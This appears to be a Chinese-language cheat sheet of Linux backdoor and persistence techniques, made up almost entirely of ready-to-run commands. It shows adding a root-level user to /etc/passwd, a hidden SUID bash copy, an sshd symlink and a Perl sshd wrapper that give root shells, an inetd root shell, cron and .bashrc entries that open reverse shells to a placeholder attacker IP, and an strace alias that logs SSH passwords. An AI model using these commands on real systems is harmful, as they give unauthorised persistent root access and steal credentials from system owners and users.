linux后门手法总结

创建用户

1
2
useradd guest;echo 'guest:123456'|chpasswd
echo "guest:x:0:0::/:/bin/sh" >> /etc/passwd

ssh公钥登录

将公钥放到服务器的.ssh/authorized_keys中,使用私钥登录

suid shell

使用root账户执行如下命令,在某个用户目录下建立一个隐藏的suid文件.233,加点为了隐藏文件

1
2
cp /bin/bash /home/test/.233
chmod 4755 /home/test/.233

之后在每次使用时,以其他普通用户的身份使用-p选项运行此文件,即可获得一个root权限的shell

1
/home/test/.233 -p

ssh软连接

创建ssh软连接

1
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

攻击机连接

1
ssh root@ip:5555

inetd

可以通过修改/etc/inetd.conf文件维持权限

1
2
3
4
5
vi /etc/inetd.conf
添加内容
daytime stream tcp nowait root /bin/bash bash -i
重启服务
service inetd restart

攻击者使用nc连接shell

1
nc -vv ip 13

Crontab后门

每天6点反弹shell

1
0 6 * * * bash -i >& /dev/tcp/xx.xx.xx.xx/端口 0>&1

修改~/.bash_profile 和~/.bashrc

此类文件在新shell打开时会自动执行,将后门程序写入这类文件可以在每次打开新shell的时候进行一个反弹shell操作

1
在文件中添加bash -i >& /dev/tcp/xx.xx.xx.xx/端口 0>&1

利用strace窃取ssh密码

1
2
3
4
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date'+%d%h%m%s'`.log -s 32 ssh'
source ~/.bashrc
cat /tmp/.sshxxxxx | grep "read(4,"

SSH wrapper后门

1
2
3
4
5
6
7
8
9
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
连接:
socat STDIO TCP4:target_ip:22,sourceport=13377